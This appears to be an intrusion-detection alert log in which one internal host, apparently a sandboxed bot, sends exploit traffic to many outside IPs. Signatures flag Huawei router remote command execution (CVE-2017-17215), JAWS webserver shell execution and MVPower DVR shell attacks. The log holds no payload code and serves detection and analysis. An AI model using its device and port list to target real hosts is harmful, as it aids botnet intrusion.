06/10/24-15:37:59.962047	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56114	37215	192.168.2.13	156.237.170.76
06/10/24-15:38:02.731556	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54960	37215	192.168.2.13	156.86.244.31
06/10/24-15:38:02.495900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54566	37215	192.168.2.13	156.84.42.33
06/10/24-15:38:02.799993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33426	37215	192.168.2.13	156.125.121.243
06/10/24-15:38:00.255864	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46904	37215	192.168.2.13	197.116.245.45
06/10/24-15:38:00.027008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42370	37215	192.168.2.13	197.218.185.191
06/10/24-15:37:59.987736	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37842	37215	192.168.2.13	41.209.100.187
06/10/24-15:38:00.259448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58672	37215	192.168.2.13	197.171.135.28
06/10/24-15:38:02.085779	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50556	80	192.168.2.13	158.99.97.254
06/10/24-15:38:02.201892	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53342	80	192.168.2.13	103.245.46.205
06/10/24-15:38:02.694481	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51728	37215	192.168.2.13	197.76.64.6
06/10/24-15:37:59.993727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53342	37215	192.168.2.13	197.218.247.171
06/10/24-15:38:00.004662	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53414	37215	192.168.2.13	156.38.108.66
06/10/24-15:38:00.169848	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55296	37215	192.168.2.13	156.209.45.106
06/10/24-15:38:02.861461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35420	37215	192.168.2.13	156.71.124.70
06/10/24-15:37:59.783784	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39218	80	192.168.2.13	9.203.151.161
06/10/24-15:38:02.176604	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49096	80	192.168.2.13	2.73.98.0
06/10/24-15:38:02.852405	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34956	37215	192.168.2.13	41.155.99.209
06/10/24-15:38:02.806681	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58028	37215	192.168.2.13	197.120.214.252
06/10/24-15:37:59.971341	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47258	37215	192.168.2.13	41.170.34.101
06/10/24-15:38:02.908641	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58970	37215	192.168.2.13	156.202.174.167
06/10/24-15:38:02.155523	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48748	80	192.168.2.13	107.68.239.149
06/10/24-15:38:02.178978	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52472	80	192.168.2.13	161.147.158.238
06/10/24-15:38:02.493155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46310	37215	192.168.2.13	41.252.62.74
06/10/24-15:37:59.935900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38508	37215	192.168.2.13	156.67.226.82
06/10/24-15:38:02.215181	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36916	80	192.168.2.13	70.93.199.15
06/10/24-15:38:00.231115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34872	37215	192.168.2.13	41.73.107.249
06/10/24-15:38:00.270070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33262	37215	192.168.2.13	41.249.87.250
06/10/24-15:38:02.842261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59676	37215	192.168.2.13	197.35.23.215
06/10/24-15:38:00.023435	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56786	37215	192.168.2.13	197.59.140.99
06/10/24-15:37:59.779104	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59220	80	192.168.2.13	32.111.100.187
06/10/24-15:37:59.871854	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39034	80	192.168.2.13	152.83.224.204
06/10/24-15:38:02.311647	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54766	80	192.168.2.13	45.60.178.180
06/10/24-15:37:59.948996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42108	37215	192.168.2.13	197.215.149.213
06/10/24-15:38:00.268090	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59132	37215	192.168.2.13	156.196.209.129
06/10/24-15:38:00.201993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34464	37215	192.168.2.13	197.63.251.49
06/10/24-15:38:00.206692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47676	37215	192.168.2.13	41.39.55.229
06/10/24-15:38:02.844763	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55898	37215	192.168.2.13	197.40.65.61
06/10/24-15:38:02.506945	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38860	37215	192.168.2.13	41.53.52.238
06/10/24-15:38:00.255183	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55170	37215	192.168.2.13	156.134.168.58
06/10/24-15:38:02.845835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58594	37215	192.168.2.13	156.142.47.5
06/10/24-15:38:02.191076	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34794	80	192.168.2.13	92.104.254.49
06/10/24-15:38:02.727944	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44684	37215	192.168.2.13	41.17.67.8
06/10/24-15:38:00.039203	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46642	37215	192.168.2.13	41.205.70.44
06/10/24-15:38:02.793700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44336	37215	192.168.2.13	197.253.198.195
06/10/24-15:38:02.320455	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36680	80	192.168.2.13	172.217.48.49
06/10/24-15:38:00.034176	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36348	37215	192.168.2.13	41.222.149.196
06/10/24-15:38:02.916548	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50156	37215	192.168.2.13	156.113.136.169
06/10/24-15:38:02.801648	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42440	37215	192.168.2.13	156.201.150.156
06/10/24-15:38:02.188584	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38476	80	192.168.2.13	134.254.164.251
06/10/24-15:38:02.833196	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56460	37215	192.168.2.13	156.146.144.209
06/10/24-15:38:02.781625	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39322	37215	192.168.2.13	156.207.139.16
06/10/24-15:37:59.929860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33796	37215	192.168.2.13	156.205.253.53
06/10/24-15:37:59.776818	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59898	80	192.168.2.13	213.227.25.210
06/10/24-15:37:59.962891	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58138	37215	192.168.2.13	156.59.177.15
06/10/24-15:38:02.491767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59288	37215	192.168.2.13	41.172.90.182
06/10/24-15:38:00.222372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57074	37215	192.168.2.13	41.9.164.177
06/10/24-15:38:00.228570	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54124	37215	192.168.2.13	197.100.180.103
06/10/24-15:38:02.310242	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47818	80	192.168.2.13	144.255.245.3
06/10/24-15:37:59.745869	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37862	80	192.168.2.13	203.54.242.166
06/10/24-15:38:02.738142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44866	37215	192.168.2.13	156.111.149.77
06/10/24-15:37:59.950533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38960	37215	192.168.2.13	41.86.126.31
06/10/24-15:38:02.140610	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49986	80	192.168.2.13	110.111.139.8
06/10/24-15:38:00.009869	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32966	37215	192.168.2.13	41.45.237.96
06/10/24-15:38:02.615090	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52872	37215	192.168.2.13	41.51.65.173
06/10/24-15:38:00.232831	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33494	37215	192.168.2.13	197.159.198.51
06/10/24-15:38:02.873305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55624	37215	192.168.2.13	197.190.134.35
06/10/24-15:38:02.816370	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56330	37215	192.168.2.13	41.242.68.175
06/10/24-15:38:00.185349	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60220	37215	192.168.2.13	41.94.153.112
06/10/24-15:38:02.567099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45438	37215	192.168.2.13	156.99.186.57
06/10/24-15:38:02.799993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33426	37215	192.168.2.13	156.125.121.243
06/10/24-15:38:02.087126	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38432	80	192.168.2.13	112.146.51.255
06/10/24-15:38:02.260368	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33388	80	192.168.2.13	195.102.40.110
06/10/24-15:38:00.036323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50702	37215	192.168.2.13	156.238.163.110
06/10/24-15:38:02.171505	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59408	80	192.168.2.13	9.60.185.133
06/10/24-15:38:02.722392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52368	37215	192.168.2.13	41.222.92.212
06/10/24-15:37:59.960374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56034	37215	192.168.2.13	41.66.186.65
06/10/24-15:38:02.163354	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46394	80	192.168.2.13	87.161.152.180
06/10/24-15:38:00.265357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51268	37215	192.168.2.13	41.201.241.195
06/10/24-15:38:00.167791	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59702	37215	192.168.2.13	156.123.237.221
06/10/24-15:38:02.256334	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57332	80	192.168.2.13	169.89.191.129
06/10/24-15:38:02.098347	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46904	80	192.168.2.13	169.8.129.214
06/10/24-15:38:02.783251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39562	37215	192.168.2.13	156.229.89.182
06/10/24-15:38:02.172737	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50846	80	192.168.2.13	216.4.227.234
06/10/24-15:38:02.130779	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38916	80	192.168.2.13	211.255.132.135
06/10/24-15:38:02.733766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33040	37215	192.168.2.13	197.67.106.155
06/10/24-15:38:00.187605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46806	37215	192.168.2.13	197.214.46.200
06/10/24-15:38:02.696885	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56356	37215	192.168.2.13	197.110.23.1
06/10/24-15:37:59.860897	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56400	80	192.168.2.13	76.87.100.69
06/10/24-15:38:02.083879	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45866	80	192.168.2.13	181.113.46.125
06/10/24-15:37:59.924273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55322	37215	192.168.2.13	41.112.237.34
06/10/24-15:38:02.818643	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60054	37215	192.168.2.13	197.80.0.140
06/10/24-15:38:00.256609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32906	37215	192.168.2.13	156.172.0.85
06/10/24-15:38:02.086431	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35036	80	192.168.2.13	64.180.193.8
06/10/24-15:38:02.496645	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44582	37215	192.168.2.13	197.62.0.215
06/10/24-15:38:00.208229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58864	37215	192.168.2.13	156.181.42.38
06/10/24-15:38:02.662261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49490	37215	192.168.2.13	197.173.181.199
06/10/24-15:38:02.263058	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39616	80	192.168.2.13	121.118.217.183
06/10/24-15:38:02.489622	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36090	37215	192.168.2.13	41.43.184.117
06/10/24-15:38:02.092323	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38082	80	192.168.2.13	94.87.180.153
06/10/24-15:37:59.986004	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53016	37215	192.168.2.13	156.32.124.85
06/10/24-15:38:00.032058	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51814	37215	192.168.2.13	197.105.195.56
06/10/24-15:38:00.241407	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49198	37215	192.168.2.13	156.178.159.128
06/10/24-15:37:59.836086	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40004	80	192.168.2.13	184.225.110.223
06/10/24-15:38:00.220635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34654	37215	192.168.2.13	156.16.252.113
06/10/24-15:38:02.809845	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54624	37215	192.168.2.13	41.205.156.248
06/10/24-15:37:59.858870	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34410	80	192.168.2.13	178.116.76.220
06/10/24-15:38:00.180724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45616	37215	192.168.2.13	41.124.122.69
06/10/24-15:38:02.743038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56570	37215	192.168.2.13	41.43.111.177
06/10/24-15:38:02.771027	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35570	37215	192.168.2.13	156.180.47.217
06/10/24-15:38:02.206271	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57210	80	192.168.2.13	117.51.17.164
06/10/24-15:38:02.504277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55388	37215	192.168.2.13	197.86.241.113
06/10/24-15:37:59.854316	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49022	80	192.168.2.13	80.246.211.214
06/10/24-15:38:00.199727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35058	37215	192.168.2.13	41.251.58.239
06/10/24-15:38:02.289047	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55132	80	192.168.2.13	139.161.150.59
06/10/24-15:38:02.231760	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43428	80	192.168.2.13	46.84.188.53
06/10/24-15:38:02.859446	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55734	37215	192.168.2.13	41.119.169.82
06/10/24-15:38:02.796621	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51590	37215	192.168.2.13	197.197.52.159
06/10/24-15:38:02.655152	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48126	37215	192.168.2.13	41.138.83.212
06/10/24-15:38:02.910934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47504	37215	192.168.2.13	197.148.228.103
06/10/24-15:37:59.972189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41548	37215	192.168.2.13	197.33.14.33
06/10/24-15:38:02.849196	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41440	37215	192.168.2.13	197.11.180.159
06/10/24-15:38:02.718331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51422	37215	192.168.2.13	197.19.66.134
06/10/24-15:38:00.262299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47796	37215	192.168.2.13	197.194.180.37
06/10/24-15:38:02.487616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38160	37215	192.168.2.13	156.76.237.97
06/10/24-15:38:02.807666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51654	37215	192.168.2.13	156.114.253.89
06/10/24-15:38:00.006377	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45572	37215	192.168.2.13	197.67.118.32
06/10/24-15:37:59.952158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58850	37215	192.168.2.13	41.119.93.57
06/10/24-15:38:02.653727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38800	37215	192.168.2.13	41.58.235.129
06/10/24-15:37:59.982567	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60620	37215	192.168.2.13	41.144.136.243
06/10/24-15:38:02.162192	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47272	80	192.168.2.13	185.193.19.118
06/10/24-15:38:02.493155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46310	37215	192.168.2.13	41.252.62.74
06/10/24-15:38:00.243236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34724	37215	192.168.2.13	41.231.72.216
06/10/24-15:38:02.770031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35782	37215	192.168.2.13	41.101.121.169
06/10/24-15:38:00.011379	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43896	37215	192.168.2.13	41.186.220.178
06/10/24-15:38:02.806681	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58028	37215	192.168.2.13	197.120.214.252
06/10/24-15:38:02.706858	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54022	37215	192.168.2.13	156.142.125.129
06/10/24-15:38:02.906256	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33836	37215	192.168.2.13	41.161.161.103
06/10/24-15:38:02.654413	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54110	37215	192.168.2.13	197.149.108.206
06/10/24-15:38:02.856030	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46888	37215	192.168.2.13	41.147.198.198
06/10/24-15:37:59.968821	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45692	37215	192.168.2.13	156.27.221.22
06/10/24-15:38:02.750600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48216	37215	192.168.2.13	41.96.242.34
06/10/24-15:38:02.756024	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37358	37215	192.168.2.13	156.165.101.234
06/10/24-15:38:02.811819	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49442	37215	192.168.2.13	156.234.212.72
06/10/24-15:37:59.941715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41282	37215	192.168.2.13	156.97.36.34
06/10/24-15:38:02.924570	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57234	37215	192.168.2.13	156.82.178.96
06/10/24-15:38:00.034890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34742	37215	192.168.2.13	156.230.39.62
06/10/24-15:38:02.205682	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48150	80	192.168.2.13	174.173.190.249
06/10/24-15:38:02.679364	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55308	37215	192.168.2.13	41.184.163.172
06/10/24-15:38:00.024876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49654	37215	192.168.2.13	197.98.178.183
06/10/24-15:38:00.238848	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56428	37215	192.168.2.13	197.11.239.20
06/10/24-15:38:00.179963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44542	37215	192.168.2.13	41.167.61.202
06/10/24-15:38:00.242237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45198	37215	192.168.2.13	41.188.47.47
06/10/24-15:38:02.686166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42686	37215	192.168.2.13	156.141.138.41
06/10/24-15:38:02.861461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35420	37215	192.168.2.13	156.71.124.70
06/10/24-15:37:59.849795	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49620	80	192.168.2.13	161.106.196.70
06/10/24-15:37:59.845254	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60926	80	192.168.2.13	20.163.218.116
06/10/24-15:38:02.657974	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38440	37215	192.168.2.13	197.63.49.202
06/10/24-15:38:00.229452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52390	37215	192.168.2.13	156.192.233.189
06/10/24-15:38:02.206841	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44322	80	192.168.2.13	212.209.139.234
06/10/24-15:38:00.032756	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42506	37215	192.168.2.13	197.235.137.220
06/10/24-15:38:00.249566	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49874	37215	192.168.2.13	156.167.167.199
06/10/24-15:38:02.784346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39098	37215	192.168.2.13	156.138.11.171
06/10/24-15:38:02.293187	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48638	80	192.168.2.13	57.149.234.226
06/10/24-15:38:02.182601	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49626	80	192.168.2.13	87.245.32.151
06/10/24-15:38:02.872396	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33202	37215	192.168.2.13	156.136.99.172
06/10/24-15:38:02.753767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32970	37215	192.168.2.13	41.102.226.8
06/10/24-15:38:02.874286	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60666	37215	192.168.2.13	197.65.234.66
06/10/24-15:38:00.198882	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40706	37215	192.168.2.13	41.229.216.231
06/10/24-15:38:02.125008	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46494	80	192.168.2.13	212.223.13.135
06/10/24-15:38:02.326758	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56960	80	192.168.2.13	8.62.18.145
06/10/24-15:38:02.509844	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49560	37215	192.168.2.13	197.146.88.253
06/10/24-15:37:59.997798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42556	37215	192.168.2.13	41.195.163.183
06/10/24-15:38:02.099010	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43804	80	192.168.2.13	130.145.155.186
06/10/24-15:38:02.693449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37908	37215	192.168.2.13	197.2.17.159
06/10/24-15:38:02.817519	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60560	37215	192.168.2.13	197.136.229.6
06/10/24-15:38:00.190865	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32862	37215	192.168.2.13	41.237.134.242
06/10/24-15:37:59.833827	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51492	80	192.168.2.13	154.68.192.29
06/10/24-15:38:02.773931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60466	37215	192.168.2.13	156.151.233.250
06/10/24-15:37:59.956930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39354	37215	192.168.2.13	41.113.11.68
06/10/24-15:38:00.231115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34872	37215	192.168.2.13	41.73.107.249
06/10/24-15:38:02.905259	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39822	37215	192.168.2.13	197.213.44.111
06/10/24-15:38:02.295761	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37022	80	192.168.2.13	72.176.38.52
06/10/24-15:37:59.987736	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37842	37215	192.168.2.13	41.209.100.187
